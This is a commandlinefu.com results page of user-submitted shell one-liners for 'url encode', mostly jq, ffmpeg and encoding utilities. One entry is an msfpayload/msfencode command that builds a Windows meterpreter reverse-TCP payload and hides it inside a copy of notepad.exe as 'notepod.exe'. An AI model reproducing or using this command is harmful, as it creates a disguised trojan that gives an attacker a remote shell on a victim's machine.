Commands matching url encode (83)

  • simple jq one-liner to convert from configmaps to secrets (which require the values to be base64 encoded). To automatically pull the config map, convert it, and re-upload the corresponding secret: kubectl get --export -o json cm [configmap name] | jq 'with_entries(if .key == "data" then .value=(.value | to_entries | map( { (.key): (.value|@base64) } ) | add ) elif .key == "kind" then .value="Secret" else . end)' > secret.json; kubectl create -f secret.json Show Sample Output


    0
    cat configmap.json | jq 'with_entries(if .key == "data" then .value=(.value | to_entries | map( { (.key): (.value|@base64) } ) | add ) elif .key == "kind" then .value="Secret" else . end)'
    tyzbit · 2017-12-11 19:18:25 23
  • This encodes it in ogg format. Does on-the-fly encoding of the incoming stream. Great for radio streams as they're often flv format.


    0
    curl 'AudioStream' | ffmpeg -i - -acodec libvorbis file.ogg
    snipertyler · 2014-03-31 02:07:20 7
  • Captures video from webcam and encodes it using the accelerated hardware provided by videotoolbox framework. It takes about 20% cpu in a i5 2015 macbook air. Show Sample Output


    0
    ffmpeg -f avfoundation -framerate 30 -video_size 1280x720 -pix_fmt uyvy422 -i "0" -c:v h264_videotoolbox -profile:v high -b:v 3M -color_range 1 /tmp/out.mp4
    sucotronic · 2018-01-08 10:28:42 22

  • -1
    groovy -e 'println URLEncoder.encode("Some text")'
    yababay · 2010-08-30 16:04:29 4

  • -2
    msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=8000 R | msfencode -c 5 -t exe -x ~/notepad.exe -k -o notepod.exe
    kev · 2011-09-09 18:33:47 8
  • If you add the bookmarklet to your browser's bookmarks with like say, the keyword 'cfu', you can for example type 'cfu hello' in the location bar and the %s gets replaced with 'hello'. The bookmarklet will convert the search text to base64 for use with the commandlinefu website and will take you there. Tested with Firefox. Show Sample Output


    -2
    echo "javascript:location.href='http://www.commandlinefu.com/commands/matching/'+encodeURIComponent('%s')+'/'+btoa('%s')+'/sort-by-votes'"
    darkfader · 2011-03-07 22:01:46 4
  • For reverse, there's asc2xml asc2xml < entitiesfile > utf8file They come as a part of the html-xml-utils debian package. PS. Tried to submit sample data, but the site autoconverted the non ascii to html entities. So a bit of imagination is needed. Show Sample Output


    -3
    xml2asc < inputfile > outputfile
    forcefsck · 2011-02-23 12:22:18 4
  • ./encode.sh [ h264 | xvid | theora | mpeg4 ] Show Sample Output


    -4
    ./encode.sh [ h264 | xvid | theora | mpeg4 ]
    sandeepverma · 2009-12-01 12:16:31 5
  • ‹ First  < 2 3 4

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands


Check These Out

Lists all listening ports together with the PID of the associated process
This command is more portable than it's cousin netstat. It works well on all the BSDs, GNU/Linux, AIX and Mac OS X. You won't find lsof by default on Solaris or HPUX by default, but packages exist around the web for installation, if needed, and the command works as shown. This is the most portable command I can find that lists listening ports and their associated pid.

Get list of servers with a specific port open
Change the -p argument for the port number. See "man nmap" for different ways to specify address ranges.

Detect illegal access to kernel space, potentially useful for Meltdown detection
Based on capsule8 agent examples, not rigorously tested

List only directories, one per line
Alternatively, $ ls -F | grep /\$ but will break on directories containing newlines. Or the safe, POSIX sh way (but will miss dotfiles): $ for i in *; do test -d "./$i" && printf "%s\n" "$i"; done

Force the script to be started as root
Will run the script as root and exit if the wrong or no password is given. Also will keep the parameters active if any where given.

Get a diff of two json arrays
jq is amazing for manipulating json on the commandline, but the developers have some weird ideas about how to handle shell redirections. This command works around them. Further reading: https://github.com/stedolan/jq/issues/1110

Find usb device in realtime
Using this command you can track a moment when usb device was attached.

Empty Bind9 cache
Occasionally, to force zone updating, cache flush is necessary. The use of this command is better than restart the Bind9 process.

Output files without comments or empty lines
better integration. works on all Unices works one bash and ksh.

Find a file's package or list a package's contents.
This is the fastest method to search the Debian package database. Requires the dlocate package. The dlocate db updates periodically, but you may force an update with # dlocate-update


Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: